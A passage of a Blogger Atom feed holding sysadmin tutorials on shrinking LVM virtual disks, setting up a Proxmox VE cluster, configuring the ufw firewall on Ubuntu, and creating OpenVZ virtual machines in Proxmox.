overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# resize2fs /dev/VolGroup00/LogVol00 16G&lt;br /&gt;&lt;br /&gt;sh-3.2# lvm lvresize --size 16G /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Because we have reduced the LogVol00 size, now there is a gap between both volumes and it is better that we remove LogVol01 and recreate it again.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# lvm lvremove /dev/VolGroup00/LogVol01&lt;br /&gt;&lt;br /&gt;sh-3.2# lvm lvcreate --size 1G --name LogVol01 VolGroup00&lt;br /&gt;&lt;br /&gt;sh-3.2# mkswap /dev/VolGroup00/LogVol01&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to decrease the size of the PV. We need 16 GB for the data area and 1 GB for the swap.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# lvm pvresize /dev/sda2 --setphysicalvolumesize 17G&lt;br /&gt;/dev/sda2: cannot resize to 511 extens as 544 are allocated.&lt;br /&gt;0 physical volume(s) resized / 1 physical volume(s) not resized&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can see that we must fit correctly that space... it is easy, a simple rule of three (17*544/511).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# lvm pvresize /dev/sda2 --setphysicalvolumesize 17.03G&lt;br /&gt;Physical volume "/dev/sda2" changed&lt;br /&gt;1 physical volume(s) resized / 0 physical volume(s) not resized&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we have to resize that sda2 partition. To calculate the end sector, first we must take a look at the partition map in sectors (one sector is 512 bytes), get the starting point of the sda2 partition (208845s), add it the size of the PV (35651584s) and also add a security margin of around 64 MB (131072s).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# lvm pvs --units s&lt;br /&gt;PV         VG         Fmt  Attr PSize     PFree&lt;br /&gt;/dev/sda2  VolGroup00 lvm2 a-   35651584S    0S&lt;br /&gt;&lt;br /&gt;sh-3.2# parted /dev/sda unit s print&lt;br /&gt;Disk /dev/sda: 134217727s&lt;br /&gt;Sector size (logical/physical): 512B/512B&lt;br /&gt;Partition Table: msdos&lt;br /&gt;&lt;br /&gt;Number  Start    End         Size        Type     File system  Flags&lt;br /&gt;1      63s      208844s     208782s     primary  ext3         boot&lt;br /&gt;2      208845s  134207009s  133998165s  primary               lvm&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we can resize the partition: 208845 + 35651584 + 131072 = 35991501.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# parted /dev/sda rm 2&lt;br /&gt;&lt;br /&gt;sh-3.2# parted /dev/sda mkpart primary 208845s 35991501s&lt;br /&gt;&lt;br /&gt;sh-3.2# parted /dev/sda set 2 lvm on&lt;br /&gt;&lt;br /&gt;sh-3.2# parted /dev/sda print&lt;br /&gt;Disk /dev/sda: 68.7GB&lt;br /&gt;Sector size (logical/physical): 512B/512B&lt;br /&gt;Partition Table: msdos&lt;br /&gt;&lt;br /&gt;Number  Start   End     Size    Type     File system  Flags&lt;br /&gt;1      32.3kB  107MB   107MB   primary  ext3         boot&lt;br /&gt;2      107MB   18.4GB  18.3GB  primary               lvm&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;It is necessary check again the filesystem to see that all is right.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# e2fsck -f /dev/VolGroup00/LogVol00&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we have to add a second virtual disk (19 GB) to the system and copy the data from sda to sdb.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;sh-3.2# dd if=/dev/sda of=/dev/sdb bs=1M &amp;amp;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;When the task is complete, we must turn off the virtual machine, delete the first virtual disk (64 GB) and put the second (19 GB) as primary for the next boot.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_EvoxXLEnC6E/TTxb9DRf7wI/AAAAAAAAAjg/Elg70t1Ybms/s1600/Shrinking%2Bvirtual%2Bdisks%2Bwith%2BLVM%2B%2528II%2529.JPG"&gt;&lt;img alt="" border="0" height="158" id="BLOGGER_PHOTO_ID_5565424343931940610" src="http://2.bp.blogspot.com/_EvoxXLEnC6E/TTxb9DRf7wI/AAAAAAAAAjg/Elg70t1Ybms/s400/Shrinking%2Bvirtual%2Bdisks%2Bwith%2BLVM%2B%2528II%2529.JPG" style="display: block; height: 158px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then we will finish starting the virtual machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1405275450444465073?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1405275450444465073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/shrinking-virtual-disks-with-lvm.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1405275450444465073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1405275450444465073'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/shrinking-virtual-disks-with-lvm.html' title='Shrinking virtual disks with LVM'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_EvoxXLEnC6E/TTxYMU0rEPI/AAAAAAAAAjQ/lv8WcrNbrYU/s72-c/Shrinking%2Bvirtual%2Bdisks%2Bwith%2BLVM%2B%2528I%2529.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2111118921007498158</id><published>2011-01-17T22:31:00.010+01:00</published><updated>2011-11-01T21:58:58.028+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clusters'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Proxmox VE cluster</title><content type='html'>Other interesting feature related to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/12/proxmox-virtualization-environment.html"&gt;Proxmox VE&lt;/a&gt; is the possibility to join all Proxmox VE installations in an unique cluster which centralizes and manages all virtual machines. Besides, we will also be able to move the virtual instances between Proxmox VE nodes.&lt;br /&gt;&lt;br /&gt;In the following tests we are going to set up a cluster using two Proxmox VE 1.7 servers (proxmox1.local, with IP address 192.168.122.211/24 and proxmox2.local, with IP address 192.168.122.212/24). The two Proxmox VE nodes will be two virtual machines running under KVM.&lt;br /&gt;&lt;br /&gt;The cluster setting does not support web management, therefore the only way is to utilize the bash console (&lt;i&gt;pveca&lt;/i&gt; command).&lt;br /&gt;&lt;br /&gt;First of all, we have to define the master node (for instance proxmox1.local).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;proxmox1:~# pveca -c&lt;br /&gt;cluster master successfully created&lt;br /&gt;&lt;br /&gt;proxmox1:~# pveca -l&lt;br /&gt;CID----IPADDRESS----ROLE-STATE--------UPTIME---LOAD----MEM---DISK&lt;br /&gt;1 : 192.168.122.211 M     A           00:13   0.00    16%    20%&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we can add new slaves to the master. In our case, we will assign one only node to the cluster, proxmox2.local.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;proxmox2:~# pveca -a -h 192.168.122.211&lt;br /&gt;cluster node successfully created&lt;br /&gt;&lt;br /&gt;proxmox2:~# pveca -l           &lt;br /&gt;CID----IPADDRESS----ROLE-STATE--------UPTIME---LOAD----MEM---DISK&lt;br /&gt;1 : 192.168.122.211 M     A           00:23   0.00    18%    20%&lt;br /&gt;2 : 192.168.122.212 N     A           00:23   0.00    17%    20%&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we open a web browser for the master node, we will be able to see in the main screen the cluster state.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_EvoxXLEnC6E/TTS61esCnOI/AAAAAAAAAi4/m85vL7C_WEM/s1600/Proxmox%2BVE%2Bcluster%2B%2528I%2529.jpeg"&gt;&lt;img alt="" border="0" height="288" id="BLOGGER_PHOTO_ID_5563276867643022562" src="http://2.bp.blogspot.com/_EvoxXLEnC6E/TTS61esCnOI/AAAAAAAAAi4/m85vL7C_WEM/s400/Proxmox%2BVE%2Bcluster%2B%2528I%2529.jpeg" style="display: block; height: 288px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If we want to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/01/making-virtual-machines-with-proxmox-ve.html"&gt;make a virtual machine&lt;/a&gt;, we will be able to choose the server where the virtual machine will be created.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTS7Zt_GsNI/AAAAAAAAAjA/YsBAcSc_lS8/s1600/Proxmox%2BVE%2Bcluster%2B%2528II%2529.jpeg"&gt;&lt;img alt="" border="0" height="143" id="BLOGGER_PHOTO_ID_5563277490224804050" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTS7Zt_GsNI/AAAAAAAAAjA/YsBAcSc_lS8/s400/Proxmox%2BVE%2Bcluster%2B%2528II%2529.jpeg" style="display: block; height: 123px; margin: 0px auto 10px; text-align: center; width: 344px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Other useful orders provided by the pveca command are the next:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;proxmox2:~# pveca --help&lt;br /&gt;...&lt;br /&gt;pveca -s [-h IP]     # sync cluster configuration from master (or IP)&lt;br /&gt;pveca -d ID          # delete a node&lt;br /&gt;pveca -m             # force local node to become master&lt;br /&gt;pveca -i             # print node info (CID NAME IP ROLE)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we also have the option of live migration in order to move virtual machines between physical servers. This is an interesting characteristic because in this way, we can locate a virtual machine in other Proxmox node with better hardware, or simply for maintenance tasks.&lt;br /&gt;&lt;br /&gt;For example, we are going to imagine that we have a CentOS 5 virtual machine installed on proxmox1.local, and we want to migrate it to proxmox2.local.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTS9K_71ESI/AAAAAAAAAjI/vhU4t3WaGSg/s1600/Proxmox%2BVE%2Bcluster%2B%2528III%2529.jpeg"&gt;&lt;img alt="" border="0" height="288" id="BLOGGER_PHOTO_ID_5563279436368122146" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TTS9K_71ESI/AAAAAAAAAjI/vhU4t3WaGSg/s400/Proxmox%2BVE%2Bcluster%2B%2528III%2529.jpeg" style="display: block; height: 288px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For this purpose, we have to open &lt;i&gt;VM Manager&lt;/i&gt;, &lt;i&gt;Virtual Machines&lt;/i&gt; section and select the &lt;i&gt;Migrate&lt;/i&gt; tab. Then, we must select the source and target nodes and the VMID to migrate and press the &lt;i&gt;migrate&lt;/i&gt; button (the virtual machine to be moved can be turned on).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2111118921007498158?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2111118921007498158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/proxmox-ve-cluster.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2111118921007498158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2111118921007498158'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/proxmox-ve-cluster.html' title='Proxmox VE cluster'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_EvoxXLEnC6E/TTS61esCnOI/AAAAAAAAAi4/m85vL7C_WEM/s72-c/Proxmox%2BVE%2Bcluster%2B%2528I%2529.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2253074442656012381</id><published>2011-01-11T17:26:00.006+01:00</published><updated>2011-11-01T21:59:37.545+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>ufw (uncomplicated firewall)</title><content type='html'>Uncomplicated firewall (ufw) is the default tool included on Ubuntu distributions used to secure all incoming, outgoing and internal network traffic, providing appropiate IPv4 and IPv6 rules based on iptables.&lt;br /&gt;&lt;br /&gt;Its files and directories structure is showed then (I have used an Ubuntu Server 10.10 for the tests).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# tree /etc/ufw/&lt;br /&gt;/etc/ufw/&lt;br /&gt;├── after6.rules&lt;br /&gt;├── after.rules&lt;br /&gt;├── applications.d&lt;br /&gt;│   └── openssh-server&lt;br /&gt;├── before6.rules&lt;br /&gt;├── before.rules&lt;br /&gt;├── sysctl.conf&lt;br /&gt;└── ufw.conf&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By default, the firewall is disabled. So as to enable it, you must run the following order. If you want to turn off the firewall, you must add the &lt;span style="font-style: italic;"&gt;disable&lt;/span&gt; parameter.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw enable&lt;br /&gt;root@ubuntu-server:~# ufw disable&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# ufw status verbose&lt;br /&gt;Estado: activo&lt;br /&gt;Acceso: on (low)&lt;br /&gt;Por defecto: deny (Entrada), allow (Salida)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With the 'status verbose', we can see that the default policy is to deny for incoming traffic and to allow for outgoing traffic. We can also change these default policies:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw default allow|deny|reject incoming|outgoing&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are going to view several examples. For instance, to set up a rule in order to allow the incoming mail traffic (any of the three possibilities is valid - the service names are declared into the /etc/servicies file).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw allow 25&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# ufw allow 25/tcp&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# ufw allow smtp&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;To remove the rule:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw delete allow 25&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;To add a rule in a specific position (fourth in the following example):&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw insert 4 allow 22&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;To define the protocol, the source and destination addresses in order to deny certain traffic:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw deny proto esp from 192.168.1.0/24 to any&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;With ufw you can also specify the log level (the traces will be dumped to the syslog file with low level by default).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw logging on|off|LEVEL&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;LEVEL can be off, low, medium, high and full.&lt;br /&gt;&lt;br /&gt;Another interesting feature of ufw is the possibility to define applications. For example, I am going to create an application named 'myapps' with a series of services:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# vim /etc/ufw/applications.d/myapps&lt;br /&gt;[myapps-1]&lt;br /&gt;title=My applications&lt;br /&gt;description=my applications: Artifactory, Hudson, Sonar, Redmine, actiTIME, Daisy&lt;br /&gt;ports=8081,8080,9000,3000,7000,8888/tcp&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then I have to update the firewall with that profile information.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw app update myapps-1&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, I can already set new rules using this application.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw allow from 10.0.0.0/8 to any app myapps-1&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order to list all applications or to show information about a certain profile, we can run the following commands:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ufw app list&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# ufw info myapps-1&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2253074442656012381?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2253074442656012381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/ufw-uncomplicated-firewall.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2253074442656012381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2253074442656012381'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/ufw-uncomplicated-firewall.html' title='ufw (uncomplicated firewall)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2734282120341526355</id><published>2011-01-04T00:08:00.004+01:00</published><updated>2011-11-01T22:00:32.667+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Making virtual machines with Proxmox VE</title><content type='html'>In the previous article, I presented &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/12/proxmox-virtualization-environment.html"&gt;Proxmox Virtualization Environment&lt;/a&gt;, a professional virtualization platform used to make virtual machines based on KVM and OpenVZ technologies.&lt;br /&gt;&lt;br /&gt;Today we are going to learn how you can rapidly create a virtual machine from an OpenVZ template (I cannot utilize KVM because I have installed Proxmox VE 1.7 on a KVM/libvirt virtual machine and therefore, that virtual CPU does not have Intel VT / AMD-V support. Don't worry because the KVM process is similar to OpenVZ).&lt;br /&gt;&lt;br /&gt;First, we have to open the &lt;i&gt;VM Manager&lt;/i&gt;, &lt;i&gt;Appliance Templates&lt;/i&gt; section and select the &lt;i&gt;Download&lt;/i&gt; tab. Here you can see a list of templates ordered by means of different categories: certified appliances, admin, system and web. Also we can get more OpenVZ templates from lots of web sites and manually upload them to the Proxmox VE data area.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TSJXTqTYwHI/AAAAAAAAAig/hwn3OMZRDz8/s1600/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528I%2529.jpeg"&gt;&lt;img alt="" border="0" height="362" id="BLOGGER_PHOTO_ID_5558100885413347442" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TSJXTqTYwHI/AAAAAAAAAig/hwn3OMZRDz8/s400/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528I%2529.jpeg" style="display: block; height: 362px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In my test, I am going to choose a CentOS 5 (standard) distribution and download it since Proxmox VE.&lt;br /&gt;&lt;br /&gt;Afterwards we have to move to the &lt;i&gt;VM Manager&lt;/i&gt;, &lt;i&gt;Virtual Machines&lt;/i&gt;, &lt;i&gt;Create&lt;/i&gt; section and fill the several fields that you can look in the following figure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_EvoxXLEnC6E/TSJXtWbAZZI/AAAAAAAAAio/bKEeUoqrfq0/s1600/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528II%2529.jpeg"&gt;&lt;img alt="" border="0" height="362" id="BLOGGER_PHOTO_ID_5558101326753195410" src="http://2.bp.blogspot.com/_EvoxXLEnC6E/TSJXtWbAZZI/AAAAAAAAAio/bKEeUoqrfq0/s400/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528II%2529.jpeg" style="display: block; height: 362px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Most of the options are also typical in other virtualization products: hostname, memory, disk space, etc., but I am going to stress two: on the one hand we have the type of virtual machine; I picked out &lt;i&gt;Container (OpenVZ)&lt;/i&gt; because it is the only allowed option due to the virtual CPU issue that I commented before. And on the other we must select the sort of network for our virtual machine.&lt;br /&gt;&lt;br /&gt;With Proxmox VE you have got two option for the network devices: Virtual Network (venet) or Bridged Ethernet (veth). Basically, venet (virtual network device) provides a point-to-point connection between the guest and the host with better performance and more security, but on the contrary, there is no MAC address and full support of IPv6 stack regarding veth (Virtual eTHernet). In the next article, you can read more information about this topic: &lt;a href="http://wiki.openvz.org/Differences_between_venet_and_veth"&gt;Differences between venet and veth&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;And finally, we must press the create button and in a few seconds, we will have our virtual machine totally created and perfectly working.&lt;br /&gt;&lt;br /&gt;In order to launch it, we must go to the &lt;i&gt;VM Manager&lt;/i&gt;, &lt;i&gt;Virtual Machines&lt;/i&gt;, &lt;i&gt;List&lt;/i&gt; section, make click on the virtual machine that we want to turn on, and press the Start button. In this area we will be able to change different components of the virtual machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_EvoxXLEnC6E/TSJX7C1LZcI/AAAAAAAAAiw/ckoPuvCX368/s1600/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528III%2529.jpeg"&gt;&lt;img alt="" border="0" height="362" id="BLOGGER_PHOTO_ID_5558101562012427714" src="http://4.bp.blogspot.com/_EvoxXLEnC6E/TSJX7C1LZcI/AAAAAAAAAiw/ckoPuvCX368/s400/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528III%2529.jpeg" style="display: block; height: 362px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Open VNC console option is used to pop up a new window with graphical access to the virtual machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2734282120341526355?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2734282120341526355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/01/making-virtual-machines-with-proxmox-ve.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2734282120341526355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2734282120341526355'/><link rel='alternate' type='text/html' 